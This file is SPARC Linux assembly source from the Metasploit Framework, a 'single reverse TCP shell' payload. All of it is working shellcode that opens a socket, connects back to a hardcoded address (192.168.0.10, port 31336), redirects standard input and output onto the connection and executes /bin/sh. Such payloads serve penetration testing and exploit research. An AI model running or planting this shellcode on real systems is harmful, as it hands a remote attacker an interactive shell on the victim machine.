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rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/external/source/shellcode/linux/sparc/single_reverse_tcp.s
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##

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#

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#        Name: single_reverse_tcp

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#   Platforms: Linux

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#     Authors: vlad902 <vlad902 [at] gmail.com>

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#     Version: $Revision: 1652 $

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#     License:

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#

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#        This file is part of the Metasploit Exploit Framework

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#        and is subject to the same licenses and copyrights as

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#        the rest of this package.

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#

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# Description:

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#

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#        Single reverse TCP shell.

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#

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##

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.globl main

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main:

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	andn	%sp, 7, %sp

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	mov	1, %o0

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	mov	2, %l0

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	st	%l0, [ %sp - 0x0c ]

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	st	%o0, [ %sp - 0x08 ]

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	st	%g0, [ %sp - 0x04 ]

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	sub	%sp, 0x0c, %o1

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	mov	0xce, %g1

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	ta	0x10

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	sub	%sp, 0x20, %l2

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	mov	0x10, %l3

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	st	%o0, [ %sp - 0x0c ]

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	std	%l3, [ %sp - 0x08 ]

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#ifndef NO_NULLS

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	set	0x00027a68, %l4

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#else

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	set	0x27a68fff, %l4

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	srl	%l4, 12, %l4

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#endif

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	set	0xc0a8000a, %l5

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	std	%l4, [ %sp - 0x20 ]

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	mov	3, %o0

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	ta	0x10

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	mov	3, %o1

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dup2_loop:

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	subcc	%o1, 1, %o1

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	mov	0x5a, %g1 

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	ta	0x10

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	bnz	dup2_loop

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	ld	[ %sp - 0x0c ], %o0

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	xor	%o3, %o3, %o2

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	set	0x2f62696e, %l0

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	set	0x2f736800, %l1

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	sub	%sp, 0x10, %o0

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	sub	%sp, 0x08, %o1

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	std	%l0, [ %sp - 0x10 ]

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	st	%o0, [ %sp - 0x08 ]

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	st	%g0, [ %sp - 0x04 ]

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	mov	0x3b, %g1

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	ta	0x08

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